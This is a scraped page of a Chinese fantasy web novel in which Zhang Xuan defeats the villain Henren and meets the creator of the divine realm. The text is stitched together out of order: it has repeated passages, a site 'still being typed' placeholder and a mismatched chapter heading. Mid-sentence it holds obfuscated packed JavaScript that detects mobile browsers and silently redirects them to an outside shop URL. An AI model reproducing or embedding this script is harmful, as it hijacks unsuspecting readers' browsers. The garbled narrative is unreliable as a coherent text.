这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546003|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第31章金殿之上,该彻底清算了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 